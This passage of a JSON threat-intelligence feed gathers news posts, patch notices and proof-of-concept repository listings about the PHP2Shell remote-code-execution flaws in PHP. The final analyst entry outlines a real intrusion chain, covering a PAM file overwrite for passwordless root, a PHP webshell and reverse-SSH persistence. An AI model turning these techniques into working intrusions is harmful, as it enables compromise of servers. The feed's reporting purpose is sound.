3","published_at":"2026-10-25T17:22:24+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":3568,"url":"https://github.com/Hika-sec/php2shell-CVE-2026-109619","title":"Hika-sec/php2shell-CVE-2026-109619","kind":"poc","source":"github","publisher":null,"text":"PoC demonstrating a potential PHP use-after-free vulnerability caused by stale global state referencing freed request memory. Improper state resets or reinitialization may trigger unsafe memory access during subsequent requests, potentially leading to remote code execution (RCE).\n\nstars 0","published_at":"2026-10-25T18:26:22+00:00","relation":"poc","confidence":null,"note":null},{"id":3636,"url":"https://news.ycombinator.com/item?id=50236839","title":"Palo Alto retracts claim of PHP2Shell exploitation at European government agency","kind":"post","source":"hackernews","publisher":null,"text":"Palo Alto retracts claim of PHP2Shell exploitation at European government agency\nhttps://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/\n\n1 points, 1 comments on Hacker News","published_at":"2026-10-25T22:50:20+00:00","relation":"discussion","confidence":null,"note":null},{"id":3702,"url":"https://x.com/sans_isc/status/2114560289186476291","title":"@sans_isc: SANS Stormcast Monday, October 26th, 2026: PHP2Shell Exploit Reliability; Node.j","kind":"post","source":"x","publisher":null,"text":"SANS Stormcast Monday, October 26th, 2026: PHP2Shell Exploit Reliability; Node.js Brotli Decoder RCE (CVE-2026-111497); Tailscale \"Tailworm\" Vulnerabilities; HPE ArubaOS 8/10 Patches 72 Flaws\n https://t.co/d3mm2mQjQA https://t.co/3WeoaqVWre\n\nlikes 0 reposts 0","published_at":"2026-10-26T03:30:34+00:00","relation":"discussion","confidence":null,"note":"@sans_isc"},{"id":3726,"url":"https://x.com/TheHackersNews/status/2114577372838305911","title":"@TheHackersNews: UPDATE: Palo Alto Networks Unit 42 has retracted its earlier assessment linking ","kind":"post","source":"x","publisher":null,"text":"UPDATE: Palo Alto Networks Unit 42 has retracted its earlier assessment linking the European government agency attack to PHP2Shell exploitation.\n\nThe attack involved a vulnerable PHP application, but Unit 42 says it cannot confirm initial access was tied to the specific PHP2Shell https://t.co/CevptmlYiM\n\nlikes 10 reposts 2","published_at":"2026-10-26T04:38:27+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":3744,"url":"https://github.com/gagaltotal/CVE-2026-109618-109619-php2shell","title":"gagaltotal/CVE-2026-109618-109619-php2shell","kind":"poc","source":"github","publisher":null,"text":"CVE-2026-109618-109619 PHP2shell\n\nstars 0","published_at":"2026-10-26T06:43:31+00:00","relation":"poc","confidence":null,"note":null},{"id":3762,"url":"https://github.com/hack-ita/php2shell-cve-2026-109618-109619","title":"hack-ita/php2shell-cve-2026-109618-109619","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-26T08:13:56+00:00","relation":"poc","confidence":null,"note":null},{"id":3767,"url":"https://news.ycombinator.com/item?id=50240988","title":"I've created a full-chain exploit for PHP2Shell","kind":"post","source":"hackernews","publisher":null,"text":"I've created a full-chain exploit for PHP2Shell\nhttps://github.com/MartinPham/php2shell-poc\n\n1 points, 1 comments on Hacker News","published_at":"2026-10-26T08:56:16+00:00","relation":"discussion","confidence":null,"note":null},{"id":3771,"url":"https://x.com/BleepinComputer/status/2114648291929387445","title":"@BleepinComputer: PHP2Shell security flaws now sucessfully exploited in the wild\nhttps://t.co/TBgG","kind":"post","source":"x","publisher":null,"text":"PHP2Shell security flaws now sucessfully exploited in the wild\nhttps://t.co/TBgGSNYhrj\n\nhttps://t.co/TBgGSNYhrj\n\nlikes 1 reposts 0","published_at":"2026-10-26T09:20:15+00:00","relation":"discussion","confidence":null,"note":"@BleepinComputer"},{"id":3809,"url":"https://github.com/dev-maple/php2shell-CVE-2026-109619","title":"dev-maple/php2shell-CVE-2026-109619","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-26T11:42:12+00:00","relation":"poc","confidence":null,"note":null},{"id":15386,"url":"https://github.com/fahise/cve-2026-109618-cve-2026-109619-poc","title":"fahise/cve-2026-109618-cve-2026-109619-poc","kind":"poc","source":"github","publisher":null,"text":"pHp2Shell CVE 2016 109618 - 109619\n\nstars 0","published_at":"2026-10-29T08:59:26+00:00","relation":"poc","confidence":null,"note":null},{"id":4008,"url":"https://x.com/TheHackersNews/status/2114776245418545473","title":"@TheHackersNews: ‼️ PHP patches Windows builds AGAIN, just 5 days after the PHP2Shell fixes.\n\nThi","kind":"post","source":"x","publisher":null,"text":"‼️ PHP patches Windows builds AGAIN, just 5 days after the PHP2Shell fixes.\n\nThis time, a Brotli flaw could allow code execution when cURL automatically decompresses crafted HTTP responses.\n\nUpdated builds cover PHP 8.2–8.5.\n\nFull details: https://t.co/0BhJsDIZhc https://t.co/lpA2wrlf1O\n\nlikes 19 reposts 7","published_at":"2026-10-26T17:48:42+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":4020,"url":"https://x.com/TheHackersNews/status/2114778998408618294","title":"@TheHackersNews: 🚨 UPDATE: PHP2Shell exploitation confirmed in the wild.\n\nPerplexity researcher A","kind":"post","source":"x","publisher":null,"text":"🚨 UPDATE: PHP2Shell exploitation confirmed in the wild.\n\nPerplexity researcher Adel Karimi observed successful exploitation on honeypot servers, with attackers executing shell commands to fetch additional payloads.\n\nNo second-stage payloads have been recovered so far.\n\nDetails: https://t.co/ZWGgUpttu1\n\nlikes 28 reposts 6","published_at":"2026-10-26T17:59:38+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":4165,"url":"https://x.com/_JohnHammond/status/2113527632784773300","title":"@_JohnHammond: i have joined the \"got my robot to recreate php2shell exploit\" cool kids club\n\ni","kind":"post","source":"x","publisher":null,"text":"i have joined the \"got my robot to recreate php2shell exploit\" cool kids club\n\ni'm here on twitter dot com to cash in on internet points for clout &amp; aura farming https://t.co/B25iQN8tZj\n\nlikes 375 reposts 15","published_at":"2026-10-23T07:07:09+00:00","relation":"discussion","confidence":null,"note":"@_JohnHammond"},{"id":4245,"url":"https://x.com/rapid7/status/2114714601569083531","title":"@rapid7: Your team needs to make decisions about PHP2Shell. Conflicting advice makes that","kind":"post","source":"x","publisher":null,"text":"Your team needs to make decisions about PHP2Shell. Conflicting advice makes that harder.\n\nOn October 30, Rapid7’s Douglas McKee and Rik Ferguson take the stage for 'PHP2Shell Mythbusters'.\n\nSave your spot here: https://t.co/zkspopvGKB https://t.co/Itvs9IEdvK\n\nlikes 3 reposts 0","published_at":"2026-10-26T13:43:45+00:00","relation":"discussion","confidence":null,"note":"@rapid7"},{"id":4284,"url":"https://x.com/TalosSecurity/status/2113669996937105856","title":"@TalosSecurity: Talos engineer Brandon Stultz talks about how a SnortML model, deployed months e","kind":"post","source":"x","publisher":null,"text":"Talos engineer Brandon Stultz talks about how a SnortML model, deployed months earlier, detected a novel PHP2Shell payload, without needing a model update https://t.co/bvTIM5E2lR\n\nlikes 6 reposts 0","published_at":"2026-10-23T16:32:52+00:00","relation":"discussion","confidence":null,"note":"@TalosSecurity"},{"id":4300,"url":"https://x.com/Unit42_Intel/status/2114475577541378125","title":"@Unit42_Intel: 2/2 This led us to believe that it was exploitation of those vulnerabilities. We","kind":"post","source":"x","publisher":null,"text":"2/2 This led us to believe that it was exploitation of those vulnerabilities. We are unable to confirm that initial access is associated with the specific PHP2Shell CVEs. We have retracted our previous update from October 23.\n\nlikes 32 reposts 9","published_at":"2026-10-25T21:53:57+00:00","relation":"discussion","confidence":null,"note":"@Unit42_Intel"},{"id":4301,"url":"https://x.com/Unit42_Intel/status/2114475543127056749","title":"@Unit42_Intel: 1/2 Unit 42 reported earlier that we had observed post-compromise activity that ","kind":"post","source":"x","publisher":null,"text":"1/2 Unit 42 reported earlier that we had observed post-compromise activity that we initially thought was related to the PHP2Shell vulnerabilities. What researchers saw was an attack against a European government agency executed in the context of a vulnerable PHP application.\n\nlikes 25 reposts 8","published_at":"2026-10-25T21:53:49+00:00","relation":"discussion","confidence":null,"note":"@Unit42_Intel"},{"id":4356,"url":"https://www.bleepingcomputer.com/news/security/php2shell-security-flaws-now-sucessfully-exploited-in-the-wild/","title":"BleepingComputer: PHP2Shell security flaws now sucessfully exploited in the wild","kind":"blog","source":"blog","publisher":null,"text":"PHP2Shell security flaws now sucessfully exploited in the wild\n\nTwo critical RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619), collectively tracked as PHP2Shell, have been successfully exploited in the wild. [...]","published_at":"2026-10-26T09:19:57+00:00","relation":"mentions","confidence":null,"note":null},{"id":4361,"url":"https://cyberplace.social/@GossiTheDog/117506885261666389","title":"Kevin Beaumont: Palo-Alto moved their patch dates for PHP2Shell up after that toot, patches avai","kind":"post","source":"mastodon","publisher":null,"text":"Palo-Alto moved their patch dates for PHP2Shell up after that toot, patches available now. https:// security.paloaltonetworks.com/ CVE-2026-109618","published_at":"2026-10-26T11:06:15+00:00","relation":"discussion","confidence":null,"note":null},{"id":4529,"url":"https://x.com/trailofbits/status/2114839775173906751","title":"@trailofbits: Our demo shows PHP2Shell giving a shell on MediaWiki, Symfony, Laravel, and phpB","kind":"post","source":"x","publisher":null,"text":"Our demo shows PHP2Shell giving a shell on MediaWiki, Symfony, Laravel, and phpBB.\n\nWe’ve confirmed exploits work on pre-patch releases of PHP 8.2–8.5. If you haven’t updated, assume attackers can compromise your server, and that exploitation will only get easier. https://t.co/6BMOwrSujk https://t.co/XVCG1pRThv\n\nlikes 3 reposts 1","published_at":"2026-10-26T22:01:08+00:00","relation":"discussion","confidence":null,"note":"@trailofbits"},{"id":4619,"url":"https://www.aikido.dev/blog/how-to-patch-php2shell-with-free-aikido-images","title":"Aikido: How to patch PHP2Shell with free Aikido Images","kind":"blog","source":"blog","publisher":null,"text":"How to patch PHP2Shell with free Aikido Images\n\nPatch PHP2Shell (CVE-2026-109618 and CVE-2026-109619) with free Aikido Images for PHP 5.5 to 8.5. Stay on your current version with backported fixes. Category: Product Updates","published_at":"2026-10-26T22:15:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":4809,"url":"https://news.ycombinator.com/item?id=50252886","title":"The $2k php2shell Challenge Was Unexploitable [video]","kind":"post","source":"hackernews","publisher":null,"text":"The $2k php2shell Challenge Was Unexploitable [video]\nhttps://www.youtube.com/watch?v=VhNiMWtOutw\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-26T23:54:46+00:00","relation":"discussion","confidence":null,"note":null},{"id":5253,"url":"https://x.com/TheHackersNews/status/2114940324204474707","title":"@TheHackersNews: 🚨 CISA adds two PHP2Shell bugs to its KEV catalog after confirming active exploi","kind":"post","source":"x","publisher":null,"text":"🚨 CISA adds two PHP2Shell bugs to its KEV catalog after confirming active exploitation.\n\nCVE-2026-109618 and CVE-2026-109619 enable unauthenticated remote code execution on affected PHP deployments.\n\nRead ↓ https://t.co/5HFT0uUZdS\n\nlikes 6 reposts 1","published_at":"2026-10-27T04:40:41+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":5463,"url":"https://x.com/MalwareTechBlog/status/2114094868603797841","title":"@MalwareTechBlog: This is by far the highest quality confirmation of in-the-wild php2shell exploit","kind":"post","source":"x","publisher":null,"text":"This is by far the highest quality confirmation of in-the-wild php2shell exploitation I've seen so far. Deep technical breakdown of a successful exploitation attempt against an Apache mod_php installation running PHP 8.4.26.\nhttps://t.co/3zPRSNSPWh\n\nFrom:\nhttps://t.co/sbZVA1fKMv\n\nlikes 282 reposts 66","published_at":"2026-10-24T20:41:09+00:00","relation":"discussion","confidence":null,"note":"@MalwareTechBlog"},{"id":5466,"url":"https://x.com/MalwareTechBlog/status/2114077217261334609","title":"@MalwareTechBlog: Seeing some anecdotal reports of successful php2shell exploitation in the wild, ","kind":"post","source":"x","publisher":null,"text":"Seeing some anecdotal reports of successful php2shell exploitation in the wild, but also seeing a lot of people mistaking old exploits for php2shell. I'd say it's fairly likely there's at least some exploitation going on, but all the people I'd usually confer with for a second\n\nlikes 90 reposts 6","published_at":"2026-10-24T19:31:00+00:00","relation":"discussion","confidence":null,"note":"@MalwareTechBlog"},{"id":5468,"url":"https://x.com/MalwareTechBlog/status/2113668971614593477","title":"@MalwareTechBlog: I want to caveat this since based on some comments, people are interpreting it i","kind":"post","source":"x","publisher":null,"text":"I want to caveat this since based on some comments, people are interpreting it in a way other than was intended. You 10000% need to update your PHP version. php2shell is no joke.\n\nI am NOT saying people don't have functional exploits...they do. I'm saying that most of the public\n\nlikes 218 reposts 15","published_at":"2026-10-23T16:28:47+00:00","relation":"discussion","confidence":null,"note":"@MalwareTechBlog"},{"id":5669,"url":"https://x.com/BleepinComputer/status/2114995847075168621","title":"@BleepinComputer: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the P","kind":"post","source":"x","publisher":null,"text":"The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the PHP2Shell  vulnerabilities to its catalog of actively exploited security flaws and ordered federal agencies to patch their systems by Thursday.\nhttps://t.co/ywM1wpcr76\n\nlikes 0 reposts 0","published_at":"2026-10-27T08:21:19+00:00","relation":"discussion","confidence":null,"note":"@BleepinComputer"},{"id":5689,"url":"https://www.bleepingcomputer.com/news/security/cisa-confirms-php2shell-vulnerabilities-now-exploited-in-attacks/","title":"BleepingComputer: CISA confirms PHP2Shell vulnerabilities now exploited in attacks","kind":"blog","source":"blog","publisher":null,"text":"CISA confirms PHP2Shell vulnerabilities now exploited in attacks\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the PHP2Shell vulnerabilities to its catalog of actively exploited security flaws and ordered federal agencies to patch their systems by Thursday. [...]","published_at":"2026-10-27T08:20:54+00:00","relation":"mentions","confidence":null,"note":null},{"id":6255,"url":"https://www.welivesecurity.com/en/videos/php2shell-what-know-two-critical-php-flaws/","title":"ESET Research: PHP2Shell: What to know about two critical PHP flaws","kind":"blog","source":"blog","publisher":null,"text":"PHP2Shell: What to know about two critical PHP flaws\n\nHere's the lowdown on CVE-2026-109618 and CVE-2026-109619, as well as what website owners and IT teams should do to stay safe – all in a little more than two minutes","published_at":"2026-10-26T13:25:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":6310,"url":"https://news.ycombinator.com/item?id=50258183","title":"PHP2Shell on CISA KEV: patch by Oct 29, check for a break-in first","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell on CISA KEV: patch by Oct 29, check for a break-in first\nhttps://hol.org/blog/cve-2026-109618-php2shell-cisa-kev-forensic-triage\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-27T12:35:40+00:00","relation":"discussion","confidence":null,"note":null},{"id":6381,"url":"https://x.com/calif_io/status/2115066050899529810","title":"@calif_io: Calif researchers are at Unprompted, presenting zero-click attacks and php2shell","kind":"post","source":"x","publisher":null,"text":"Calif researchers are at Unprompted, presenting zero-click attacks and php2shell. You don't want to miss this!\n\nTue Oct 27, Stage 1, 16:45, \"0-Click Remote Exploits in an AI World\"  with @pwnlambda and @brucedang \n\nWed Oct 28, Stage 1, 14:45, \"PHPocalypse: Finding, Exploiting,\n\nlikes 11 reposts 3","published_at":"2026-10-27T13:00:17+00:00","relation":"discussion","confidence":null,"note":"@calif_io"},{"id":6469,"url":"https://news.ycombinator.com/item?id=50259343","title":"Wiz: No successful PHP2Shell exploits seen so far; exposure down 67%","kind":"post","source":"hackernews","publisher":null,"text":"Wiz: No successful PHP2Shell exploits seen so far; exposure down 67%\nhttps://www.wiz.io/blog/php2shell-exploitation-so-far\n\n2 points, 0 comments on Hacker News","published_at":"2026-10-27T13:52:12+00:00","relation":"discussion","confidence":null,"note":null},{"id":6472,"url":"https://www.wiz.io/blog/php2shell-exploitation-so-far","title":"Wiz Research: PHP2Shell: Exploitation Attempts and Remediation Trends","kind":"blog","source":"blog","publisher":null,"text":"PHP2Shell: Exploitation Attempts and Remediation Trends\n\nWiz research has been monitoring PHP2Shell exploitation attempts, but none have succeeded so far. We examine the techniques used, what prevented the attacks from completing and how observed exposure has changed since disclosure.","published_at":"2026-10-27T13:21:45+00:00","relation":"mentions","confidence":null,"note":null},{"id":6508,"url":"https://cyberplace.social/@GossiTheDog/117513147042829138","title":"Kevin Beaumont: Citrix finally released Netscaler patches for PHP2Shell. Netscaler notably has n","kind":"post","source":"mastodon","publisher":null,"text":"Citrix finally released Netscaler patches for PHP2Shell. Netscaler notably has no ASLR so I’d recommend patching. https:// support.citrix.com/support-hom e/kbsearch/article?articleNumber=CTX697263&articleTitle=Citrix_Security_Advisory_for_CVE_2026_109618_and_CVE_2026_109619","published_at":"2026-10-27T13:38:42+00:00","relation":"discussion","confidence":null,"note":null},{"id":6706,"url":"https://github.com/lflare/php2shell-cve-2026-109618","title":"lflare/php2shell-cve-2026-109618","kind":"poc","source":"github","publisher":null,"text":"just an experiment\n\nstars 0","published_at":"2026-10-27T14:58:04+00:00","relation":"poc","confidence":null,"note":null},{"id":6721,"url":"https://x.com/AikidoSecurity/status/2115100204101935212","title":"@AikidoSecurity: So how to patch PHP2Shell with free Aikido Images?\n\nPHP shipped fixes on October","kind":"post","source":"x","publisher":null,"text":"So how to patch PHP2Shell with free Aikido Images?\n\nPHP shipped fixes on October 21 in 8.5.12, 8.4.27, 8.3.36 and 8.2.35. PHP 8.1 and older won't get an upstream release.\n\nMoving an application across PHP major versions takes time, and a legacy app on PHP 5.6 or 7.4 can't jump to https://t.co/FprFpE53o0\n\nlikes 2 reposts 0","published_at":"2026-10-27T15:15:59+00:00","relation":"discussion","confidence":null,"note":"@AikidoSecurity"},{"id":6727,"url":"https://x.com/ReversingLabs/status/2115101009085161774","title":"@ReversingLabs: When PHP2Shell drops, the million-dollar question is whether it’s already inside","kind":"post","source":"x","publisher":null,"text":"When PHP2Shell drops, the million-dollar question is whether it’s already inside the apps your organization relies on.\n\nLive on Wednesday, Oct 28, 12 PM ET: see how binary analysis with Spectra Assure answers it fast.\n\nRegister: https://t.co/74GYZcGZ06\n\n#SoftwareSupplyChain\n\nlikes 0 reposts 0","published_at":"2026-10-27T15:19:11+00:00","relation":"discussion","confidence":null,"note":"@ReversingLabs"},{"id":6906,"url":"https://x.com/clintgibler/status/2115115573600514394","title":"@clintgibler: My @OpenAI colleagues and I recently wrote about our experience with PHP2Shell a","kind":"post","source":"x","publisher":null,"text":"My @OpenAI colleagues and I recently wrote about our experience with PHP2Shell and  how we think about coordinated disclosures going forward.\n\nFeel free to check it out here  👉 https://t.co/axkNRePqSS\n\nlikes 36 reposts 4","published_at":"2026-10-27T16:17:04+00:00","relation":"discussion","confidence":null,"note":"@clintgibler"},{"id":7863,"url":"https://x.com/xbow/status/2115194599933448571","title":"@xbow: With all the chaos around PHP2Shell, what can defenders do right now? A thread🧵","kind":"post","source":"x","publisher":null,"text":"With all the chaos around PHP2Shell, what can defenders do right now? A thread🧵\n\nlikes 23 reposts 3","published_at":"2026-10-27T21:31:05+00:00","relation":"discussion","confidence":null,"note":"@xbow"},{"id":7861,"url":"https://x.com/xbow/status/2115194602751689147","title":"@xbow: 2/ XBOW has rolled PHP2Shell validation into new assessments, safely testing whe","kind":"post","source":"x","publisher":null,"text":"2/ XBOW has rolled PHP2Shell validation into new assessments, safely testing whether the vulnerability can actually be exploited and providing a full trace of what was attempted. If something is exploitable, you get the proof.\n\nlikes 3 reposts 0","published_at":"2026-10-27T21:31:06+00:00","relation":"discussion","confidence":null,"note":"@xbow"},{"id":8218,"url":"https://bsky.app/profile/troyhunt.com/post/3myvfmnlqsn2q","title":"@troyhunt.com: Weekly update is up! Cybergeddon News v. Reality: Have the PHP2Shell and eMudhra","kind":"post","source":"bluesky","publisher":null,"text":"Weekly update is up! Cybergeddon News v. Reality: Have the PHP2Shell and eMudhra cases *actually* led to any breaches? www.troyhunt.com/weekly-updat...\nhttps://www.troyhunt.com/weekly-update-527/\n\nlikes 1 reposts 0","published_at":"2026-10-27T23:35:01+00:00","relation":"discussion","confidence":null,"note":"@troyhunt.com"},{"id":8432,"url":"https://cyberplace.social/@GossiTheDog/117515798886610105","title":"Kevin Beaumont: Palo-Alto just sent out a customer alert about PHP2Shell: “We are aware of heigh","kind":"post","source":"mastodon","publisher":null,"text":"Palo-Alto just sent out a customer alert about PHP2Shell: “We are aware of heightened threat actor activity targeting internet exposed management interfaces of PAN-OS devices (NGFW and Panorama) and recently disclosed vulnerabilities. If you haven't already done so, we strongly advise you to immediately protect your devices by following management interface best practice”","published_at":"2026-10-28T00:53:06+00:00","relation":"discussion","confidence":null,"note":null},{"id":7205,"url":"https://x.com/clintgibler/status/2115136037181857897","title":"@clintgibler: What does PHP2Shell mean for your security team - and what should you do next?\n\n","kind":"post","source":"x","publisher":null,"text":"What does PHP2Shell mean for your security team - and what should you do next?\n\nTomorrow I’m joining @CrowdStrike folks to discuss how PHP2Shell was found, how we navigated the disclosure, and practical next steps for you:\n\n- Assessing your exposure\n- Applying fixes\n- and https://t.co/OEiwauJsm2\n\nlikes 19 reposts 0","published_at":"2026-10-27T17:38:23+00:00","relation":"discussion","confidence":null,"note":"@clintgibler"},{"id":10411,"url":"https://x.com/AikidoSecurity/status/2115413408598356455","title":"@AikidoSecurity: Last week, PHP2Shell went from leak to active exploitation in a couple of hours.","kind":"post","source":"x","publisher":null,"text":"Last week, PHP2Shell went from leak to active exploitation in a couple of hours.\n\nSo we built a way for you to attack your own perimeter first. Starting from just one domain, our AI agents find every internet-facing system you run and pentest each one, reporting only what they https://t.co/JCqHAY6EZZ\n\nlikes 23 reposts 10","published_at":"2026-10-28T12:00:33+00:00","relation":"discussion","confidence":null,"note":"@AikidoSecurity"},{"id":10816,"url":"https://x.com/BleepinComputer/status/2115445983748509776","title":"@BleepinComputer: ⚠️ Exploiting PHP2Shell may give attackers access to more than a server. Stolen ","kind":"post","source":"x","publisher":null,"text":"⚠️ Exploiting PHP2Shell may give attackers access to more than a server. Stolen API keys, cloud credentials, and service accounts can open doors across an organization.\n\n🔍 @TheTokenSec explains how to limit the blast radius.\n\n➡️ https://t.co/TLBKU95G0T\n#cybersecurity #sponsored https://t.co/pAbDnjuxH9\n\nlikes 18 reposts 6","published_at":"2026-10-28T14:10:00+00:00","relation":"discussion","confidence":null,"note":"@BleepinComputer"},{"id":10866,"url":"https://www.bleepingcomputer.com/news/security/infratrust-report-warns-of-exploited-flaws-in-critical-network-infrastructure/","title":"BleepingComputer: InfraTrust report warns of exploited flaws in critical network infrastructure","kind":"blog","source":"blog","publisher":null,"text":"InfraTrust report warns of exploited flaws in critical network infrastructure\n\nAttackers are actively exploiting vulnerabilities across critical network infrastructure, and PHP flaws known as \"PHP2Shell\" put the web management interfaces of firewalls, VPNs, application delivery controllers, and other appliances at risk. [...]","published_at":"2026-10-28T14:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":10867,"url":"https://www.bleepingcomputer.com/news/security/even-after-php2shell-blast-radius-matters-more-than-a-cvss-score/","title":"BleepingComputer: Even after PHP2Shell, blast radius matters more than a CVSS score","kind":"blog","source":"blog","publisher":null,"text":"Even after PHP2Shell, blast radius matters more than a CVSS score\n\nPHP2Shell shows how quickly attackers can exploit critical vulnerabilities, often before organizations have time to patch. Token Security explains why limiting the access of service accounts, API keys, and AI agents is just as important as fixing vulnerabilities to reduce the damage from a breach. [...]","published_at":"2026-10-28T13:50:59+00:00","relation":"mentions","confidence":null,"note":null},{"id":11164,"url":"https://x.com/ReversingLabs/status/2115473748132557282","title":"@ReversingLabs: PHP2Shell: What's Hiding in Your Third-Party Software? https://t.co/74GYZcHwPE","kind":"post","source":"x","publisher":null,"text":"PHP2Shell: What's Hiding in Your Third-Party Software? https://t.co/74GYZcHwPE\n\nlikes 1 reposts 1","published_at":"2026-10-28T16:00:19+00:00","relation":"discussion","confidence":null,"note":"@ReversingLabs"},{"id":11062,"url":"https://www.aikido.dev/blog/ghost-php2shell-coordinated-disclosure-faster","title":"Aikido: Ghost in the PHP2Shell: Why coordinated disclosure and patching will start moving faster","kind":"blog","source":"blog","publisher":null,"text":"Ghost in the PHP2Shell: Why coordinated disclosure and patching will start moving faster\n\nPHP2Shell showed how fast AI turns a bug into an exploit. Here’s why the disclosure should never happen this way again, and why it will anyway. Category: News","published_at":"2026-10-29T09:36:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":11271,"url":"https://x.com/TheHackersNews/status/2115475223931982303","title":"@TheHackersNews: 🚨 PHP2Shell exploited in real-world attacks.\n\nAn attacker chained PHP2Shell with","kind":"post","source":"x","publisher":null,"text":"🚨 PHP2Shell exploited in real-world attacks.\n\nAn attacker chained PHP2Shell with a Linux kernel flaw to gain root access to 25 servers across four countries, including three in a U.S. government-affiliated environment.\n\nThe intrusion extended into the internal network, where the https://t.co/Z6I6GNVJCI\n\nlikes 294 reposts 60","published_at":"2026-10-28T16:06:11+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":26407,"url":"https://x.com/MsftSecIntel/status/2116302850934362284","title":"@MsftSecIntel: Patch now: PHP2Shell, Brotli, and eMudhra guidance for customers https://t.co/h6","kind":"post","source":"x","publisher":null,"text":"Patch now: PHP2Shell, Brotli, and eMudhra guidance for customers https://t.co/h6curypIXj https://t.co/BZjOdwViVE\n\nlikes 479 reposts 79","published_at":"2026-10-30T22:54:53+00:00","relation":"discussion","confidence":null,"note":"@MsftSecIntel"},{"id":11647,"url":"https://github.com/IamLucif3r/CVE-2026-109618-exploit","title":"IamLucif3r/CVE-2026-109618-exploit","kind":"poc","source":"github","publisher":null,"text":"[PHP2Shell]  Golang exploit for CVE-2026-109618 / CVE-2026-109619: Unauthenticated RCE in PHP 5.4–8.5.11 via OOM corruption + session.upload_progress UAF\n\nstars 0","published_at":"2026-10-28T17:32:11+00:00","relation":"poc","confidence":null,"note":null},{"id":11900,"url":"https://x.com/GreyNoiseIO/status/2115516134946676921","title":"@GreyNoiseIO: GreyNoise is monitoring exploitation attempts against #php2shell (CVE-2026-10961","kind":"post","source":"x","publisher":null,"text":"GreyNoise is monitoring exploitation attempts against #php2shell (CVE-2026-109618 and CVE-2026-109619).\n\nOn 28 Oct 2026, 05:14:01 UTC we observed the first successful exploitation of php2shell against a vulnerable GreyNoise sensor.\n\n\"We’re seeing successful exploitation of these https://t.co/GtgtBgtn5l\n\nlikes 74 reposts 21","published_at":"2026-10-28T18:48:45+00:00","relation":"discussion","confidence":null,"note":"@GreyNoiseIO"},{"id":12015,"url":"https://github.com/emirwtz/CVE-2026-109618","title":"emirwtz/CVE-2026-109618","kind":"poc","source":"github","publisher":null,"text":"Defensive Python assessment tool for PHP2Shell exposure and access-log indicators\n\nstars 0","published_at":"2026-10-28T19:24:22+00:00","relation":"poc","confidence":null,"note":null},{"id":12740,"url":"https://snyk.io/blog/php2shell-where-next-one-will-show-up-first/","title":"Snyk: PHP2Shell Won't Be the Last. Here's Where the Next One Will Show Up First.","kind":"blog","source":"blog","publisher":null,"text":"PHP2Shell Won't Be the Last. Here's Where the Next One Will Show Up First.\n\nPHP2Shell showed how quickly an engine-level flaw can put internet-facing applications at risk. Learn why outside-in inventory, rapid testing, and repeat checks matter before the next disclosure.","published_at":"2026-10-28T04:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":14545,"url":"https://x.com/TheHackersNews/status/2115683831089144149","title":"@TheHackersNews: 🚨 Palo Alto Networks confirms active attacks exploiting PHP2Shell flaws in inter","kind":"post","source":"x","publisher":null,"text":"🚨 Palo Alto Networks confirms active attacks exploiting PHP2Shell flaws in internet-exposed PAN-OS management interfaces.\n\nThe flaws allow unauthenticated remote code execution. Multiple PAN-OS versions are affected, with some fixes still pending.\n\nRead ↓ https://t.co/38LQAWNlwf\n\nlikes 190 reposts 51","published_at":"2026-10-29T05:55:07+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":16065,"url":"https://www.reddit.com/r/netsec/comments/1xigwsr/php2shell_activity_across_previdian_network/","title":"r/netsec: PHP2Shell Activity Across Previdian Network","kind":"post","source":"reddit","publisher":null,"text":"PHP2Shell Activity Across Previdian Network\n\nsubmitted by /u/ethicalhack3r [link] [comments]","published_at":"2026-10-29T11:03:26+00:00","relation":"discussion","confidence":null,"note":null},{"id":39717,"url":"https://github.com/sahmsec/CVE-2026-109618-PHP2SHELL","title":"sahmsec/CVE-2026-109618-PHP2SHELL","kind":"poc","source":"github","publisher":null,"text":"CVE-2026-109618(PHP2SHELL) local classroom PoC lab with live demo site and Windows/Linux launchers\n\nstars 0","published_at":"2026-11-01T16:22:24+00:00","relation":"poc","confidence":null,"note":null},{"id":15828,"url":"https://news.ycombinator.com/item?id=50286987","title":"Chained PHP2Shell Exploit Roots 25 Servers, Including US Government Servers","kind":"post","source":"hackernews","publisher":null,"text":"Chained PHP2Shell Exploit Roots 25 Servers, Including US Government Servers\nhttps://dreamgroup.com/blog/chained-php2shell-exploit-roots-25-servers\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-29T10:42:41+00:00","relation":"discussion","confidence":null,"note":null},{"id":15962,"url":"https://dreamgroup.com/blog/chained-php2shell-exploit-roots-25-servers","title":"Chained PHP2Shell Exploit Roots 25 Servers, Including US Government Servers (Dream Research)","kind":"blog","source":"analyst","publisher":null,"text":"Dream Research (2026-10-26): Chinese-nexus, AI-assisted campaign chained a custom PHP2Shell exploit (CVE-2026-109618/CVE-2026-109619) against the PHP 8.0.30 appweb management server of an undisclosed large vendor's firewall OS with the Fragnesia Linux kernel LPE (CVE-2026-46300), which overwrites /etc/pam.d/su with pam_permit.so so 'su root' needs no password. Single unauthenticated HTTPS request chain, ~900MB exploit traffic, may crash device. FOFA discovery of ~19,000 exposed firewalls, 240 targeted in US/Japan/Taiwan/South Korea, 24 rooted with a 103-byte PHP root webshell in a public web directory, then a US government-affiliated org: 8-port reverse SSH tunnel (systemd service + rc.local), SOCKS5, firewall management server compromised, LDAP service account decrypted, AD enumeration, password spray, backdoor accounts, Keycloak 